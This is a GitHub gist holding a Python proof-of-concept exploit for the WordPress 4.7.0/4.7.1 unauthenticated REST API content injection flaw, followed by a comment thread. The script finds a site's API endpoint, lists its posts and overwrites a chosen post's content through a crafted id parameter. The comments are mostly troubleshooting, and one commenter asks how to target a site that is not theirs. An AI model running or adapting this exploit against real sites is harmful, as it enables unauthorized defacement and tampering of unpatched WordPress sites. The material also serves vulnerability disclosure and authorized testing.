Skip to content

Instantly share code, notes, and snippets.

@leonjza
Last active February 4, 2024 07:47
  • Star 32 You must be signed in to star a gist
  • Fork 14 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save leonjza/2244eb15510a0687ed93160c623762ab to your computer and use it in GitHub Desktop.
Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# Usage example:
#
# List available posts:
#
# $ python inject.py http://localhost:8070/
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Getting available posts
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
#
# Update post with content from a file:
#
# $ cat content
# foo
#
# $ python inject.py http://localhost:8070/ 1 content
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Updating post 1
# * Post updated. Check it out at http://localhost:8070/archives/1
# * Update complete!
import json
import sys
import urllib2
from lxml import etree
def get_api_url(wordpress_url):
response = urllib2.urlopen(wordpress_url)
data = etree.HTML(response.read())
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
# check if we have permalinks
if 'rest_route' in u:
print(' ! Warning, looks like permalinks are not enabled. This might not work!')
return u
def get_posts(api_base):
respone = urllib2.urlopen(api_base + 'wp/v2/posts')
posts = json.loads(respone.read())
for post in posts:
print(' - Post ID: {0}, Title: {1}, Url: {2}'
.format(post['id'], post['title']['rendered'], post['link']))
def update_post(api_base, post_id, post_content):
# more than just the content field can be updated. see the api docs here:
# https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
data = json.dumps({
'content': post_content
})
url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
response = urllib2.urlopen(req).read()
print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))
def print_usage():
print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__))
if __name__ == '__main__':
# ensure we have at least a url
if len(sys.argv) < 2:
print_usage()
sys.exit(1)
# if we have a post id, we need content too
if 2 < len(sys.argv) < 4:
print('Please provide a file with post content with a post id')
print_usage()
sys.exit(1)
print('* Discovering API Endpoint')
api_url = get_api_url(sys.argv[1])
print('* API lives at: {0}'.format(api_url))
# if we only have a url, show the posts we have have
if len(sys.argv) < 3:
print('* Getting available posts')
get_posts(api_url)
sys.exit(0)
# if we get here, we have what we need to update a post!
print('* Updating post {0}'.format(sys.argv[2]))
with open(sys.argv[3], 'r') as content:
new_content = content.readlines()
update_post(api_url, sys.argv[2], ''.join(new_content))
print('* Update complete!')
@swaggerz500
Copy link

Hi

How do i use this script?

@swaggerz500
Copy link

Can i use this on windiws

@salacoste
Copy link

Leonjza, what the reason get
File "/System/***lib/python2.7/urllib2.py", line 558, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 404: Not Found

but in clear request to wp-json/wp/v2/posts/1?id=598t..... get 403 error..

@reyvand
Copy link

reyvand commented Feb 3, 2017

i got this error when i try to test on localhost

urllib2.HTTPError: HTTP Error 400: Bad Request

@oddyIT
Copy link

oddyIT commented Feb 3, 2017

File "inject.py", line 100, in
api_url = get_api_url(sys.argv[1])
File "inject.py", line 47, in get_api_url
response = urllib2.urlopen(wordpress_url)
File "/usr/lib/python2.7/urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "/usr/lib/python2.7/urllib2.py", line 429, in open
response = self._open(req, data)
File "/usr/lib/python2.7/urllib2.py", line 447, in _open
'_open', req)
File "/usr/lib/python2.7/urllib2.py", line 407, in _call_chain
result = func(*args)
File "/usr/lib/python2.7/urllib2.py", line 1228, in http_open
return self.do_open(httplib.HTTPConnection, req)
File "/usr/lib/python2.7/urllib2.py", line 1198, in do_open
raise URLError(err)
urllib2.URLError: <urlopen error [Errno 111] Connection refused>

test on ubuntu 16.04

@Lucifaer
Copy link

Lucifaer commented Feb 3, 2017

Same problem with others:

Traceback (most recent call last):
File "41223.py", line 115, in
update_post(api_url, sys.argv[2], ''.join(new_content))
File "41223.py", line 77, in update_post
response = urllib2.urlopen(req).read()
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 435, in open
response = meth(req, response)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 548, in http_response
'http', request, response, code, msg, hdrs)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 473, in error
return self._call_chain(*args)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 407, in _call_chain
result = func(*args)
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py", line 556, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 400: Bad Request

@Lucifaer
Copy link

Lucifaer commented Feb 3, 2017

I‘ve solve the problem by setting apache2.conf:

LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted

Wish to help

@leonjza
Copy link
Author

leonjza commented Feb 3, 2017

@swaggerz500 I have not tested this on Windows no.
@oddyIT looks like the script cant talk to the wordpress site. Hint: Connection refused ;)

Everyone else getting 400 like errors. Permalinks need to be enabled for this to work. If the API resolved to a URL with rest_route in it, permalinks are not configured. The exploit _ heavily relies_ on the way Wordpress handles urls like these.

@salacoste
Copy link

@leonjza If not enabled (as i understand they not enabled by default,not?), could construct jquery without permalink?

@leonjza
Copy link
Author

leonjza commented Feb 3, 2017

@salacoste, from my testing, I don't think the bug will be exploitable without permalinks. Of course, if I am wrong, I am more than happy to update the PoC to cater for another case.

@watch-dog-man
Copy link

watch-dog-man commented Feb 3, 2017

same foul :(

@Ahmedhaseeb
Copy link

hi @leonjza i tested it at my localhost on windows 7 64bit, under WAMP and url_rewrite enabled and it works fine and changed the post content.

But it only work once... :(

This is output when it works..

E:\Python Projects>wp.py http://localhost/wp7_test

E:\Python Projects>wp.py http://localhost/wp7_test 1 abc.txt

========= Now its giving me the following error ===========

E:\Python Projects>wp.py http://localhost/wp7_test 1 abc.txt

  • Discovering API Endpoint

  • API lives at: http://localhost/wp7_test/wp-json/

  • Updating post 1
    Traceback (most recent call last):
    File "E:\Python Projects\wp.py", line 77, in
    update_post(api_url, sys.argv[2], ''.join(new_content))
    File "E:\Python Projects\wp.py", line 39, in update_post
    response = urllib2.urlopen(req).read()
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 154, in urlopen
    return opener.open(url, data, timeout)
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 435, in open
    response = meth(req, response)
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 548, in http_response
    'http', request, response, code, msg, hdrs)
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 473, in error
    return self._call_chain(*args)
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 407, in _call_chain
    result = func(*args)
    File "D:\Users\AKPK\Anaconda2\lib\urllib2.py", line 556, in http_error_default

    raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
    urllib2.HTTPError: HTTP Error 400: Bad Request

@leonjza
Copy link
Author

leonjza commented Feb 3, 2017

@Ahmedhaseeb will have to check out your webservers logs to see if there are more details about the error I think.

@swaggerz500
Copy link

How do you find post id of the link? What perma link does it havw to be?

@leonjza
Copy link
Author

leonjza commented Feb 4, 2017

@swaggerz500 run the script with only the url as argument, and it will print posts and id's for you. just like the example usage comment shows

@sunbyte
Copy link

sunbyte commented Feb 8, 2017

Sorry my friend, but this "exploit" is total crap!
Such a mess between python2 and python3 code.
I still wonder how is possible to write such a bad script with powerful language like Python...
This exploit will NEVER work on any OS without tons of modifications.

@leonjza
Copy link
Author

leonjza commented Feb 8, 2017

@sunbyte thanks for your constructive feedback!

@unixfox
Copy link

unixfox commented Feb 8, 2017

I'm getting IndexError: list index out of range on my local non-patched wordpress blog:

* Discovering API Endpoint
Traceback (most recent call last):
  File "wordpress.py", line 100, in <module>
    api_url = get_api_url(sys.argv[1])
  File "wordpress.py", line 50, in get_api_url
    u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
IndexError: list index out of range

Where does this error come from?

@leonjza
Copy link
Author

leonjza commented Feb 8, 2017

@unixfox That means it couldnt parse the API URL from the URI you specified. The script checks for a link tag with a rel of api.w.org. You could view the source of the wordpress page and check if its there and update the script if its somewhere else.

@Rivendall
Copy link

Hello @leonjza. Thank you.
I tested it at my localhost on windows 7 32bit, under XAMPP for WP 4.7.1.
But I had error:

C:\Python>inject.py http://localhost/cms/wp7test/

Then:

C:\Python>inject.py http://localhost/cms/wp7test/ 1 abc.txt

  • Discovering API Endpoint
  • API lives at: http://localhost/cms/wp7test/wp-json/
  • Updating post 1
    Traceback (most recent call last):
    File "C:\Python\inject.py", line 102, in
    update_post(api_url, sys.argv[2], ''.join(new_content))
    File "C:\Python\inject.py", line 66, in update_post
    response = urllib2.urlopen(req).read()
    File "C:\Python\lib\urllib2.py", line 154, in urlopen
    return opener.open(url, data, timeout)
    File "C:\Python\lib\urllib2.py", line 437, in open
    response = meth(req, response)
    File "C:\Python\lib\urllib2.py", line 550, in http_response
    'http', request, response, code, msg, hdrs)
    File "C:\Python\lib\urllib2.py", line 475, in error
    return self._call_chain(*args)
    File "C:\Python\lib\urllib2.py", line 409, in _call_chain
    result = func(*args)
    File "C:\Python\lib\urllib2.py", line 558, in http_error_default
    raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
    urllib2.HTTPError: HTTP Error 400: Bad Request

Please help me. Thank you.

@komradz86
Copy link

komradz86 commented Apr 21, 2017

@unixfox That means it couldnt parse the API URL from the URI you specified. The script checks for a link tag with a rel of api.w.org. You could view the source of the wordpress page and check if its there and update the script if its somewhere else.

can you explain more?
what if the website does not belong to me and i cant see the script? where do usualy the API is located

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment